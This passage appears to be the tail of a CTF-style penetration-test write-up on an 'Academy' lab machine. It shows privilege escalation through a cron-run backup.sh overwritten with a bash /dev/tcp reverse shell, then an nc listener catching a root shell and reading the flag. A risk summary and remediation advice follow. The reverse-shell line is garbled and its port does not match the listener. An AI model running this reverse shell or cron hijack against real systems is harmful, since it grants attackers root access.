usage: crontab [-u user] file
        crontab [-u user] [-i] [-e] [-l] [-r]
        (default operation is replace, per 1003.2)
        -e      (edit user's crontab)
        -l      (list user's crontab)
        -r      (delete user's crontab)
        -i      (prompt before deleting user's crontab)
grimmie@academy:/tmp$ nano pspy44
grimmie@academy:/tmp$ cat backup.sh
bash -i >& /dev/tcp/192.168.1.4/8080 >&61
grimmie@academy:/tmp$ cd ..
grimmie@academy:/ $ ls
bin  dev  home  initrd.img.old  lib32  libx32  media  opt  root  sbin  sys  usr  var  vmlinuz
boot  etc  initrd.img  lib  lib64  lost+found  mnt  proc  run  srv  tmp  var  vmlinuz.old
grimmie@academy:/ $ cd /home/grimmie/
grimmie@academy:/ $ ls
backup.sh
grimmie@academy:/ $ cat backup.sh
#!/bin/bash

rm /tmp/backup.zip
zip -r /tmp/backup.zip /var/www/html/academy/includes
chmod 700 /tmp/backup.zip
grimmie@academy:/ $ crontab -l
no crontab for grimmie
grimmie@academy:/ $ crontab -u root -l
must be privileged to use -u
grimmie@academy:/ $ crontab -e
no crontab for grimmie - using an empty one

Select an editor. To change later, run 'select-editor'.
 1. /bin/nano      ← easiest
 2. /usr/bin/vim.tiny

```

```
(hehe@kali) ~/Desktop/trasfers
$ nc -nvlp 8081
listening on [any] 8081 ...
connect to [192.168.1.4] from (UNKNOWN) [192.168.1.9] 45912
bash: cannot set terminal process group (2291): Inappropriate ioctl for device
bash: no job control in this shell
root@academy:~# whoami
whoami
root
root@academy:~# cd root
cd root
bash: cd: root: No such file or directory
root@academy:~# cd /root
cd /root
root@academy:~# ls
ls
flag.txt
root@academy:~# cat flag.txt
cat flag.txt
Congratz you rooted this box !
Looks like this CMS isn't so secure ...
I hope you enjoyed it.
If you had any issue please let us know in the course discord.

Happy hacking !
root@academy:~# ^X^C
(hehe@kali) ~/Desktop/trasfers
```

7. Risk Summary

Vulnerability	Severity
Anonymous FTP Access	Critical
Sensitive Information Disclosure	Critical
Hardcoded Credentials	Critical
Insecure File Upload	Critical
Weak Privilege Hardening	High

8. Recommendations

Immediate Actions

- Disable anonymous FTP access
- Remove hardcoded credentials from source code
- Restrict file upload extensions and validate MIME types
- Disable script execution in upload directories

Long-Term Improvements

- Implement a Web Application Firewall (WAF)
 - Enforce the principle of least privilege
 - Conduct regular security audits
 - Use secure credential storage mechanisms such as environment variables or secrets vaults
-

9. Conclusion

The Academy machine was found to be highly vulnerable due to insecure configurations and weak development practices. An attacker could exploit these vulnerabilities to gain unauthorized access and potentially escalate privileges, resulting in full system compromise. Immediate remediation is strongly recommended.

10. Author

Sanchit Mathur

Cyber Security | CEH | SOC & Pentesting

Email: mathursanchit7@gmail.com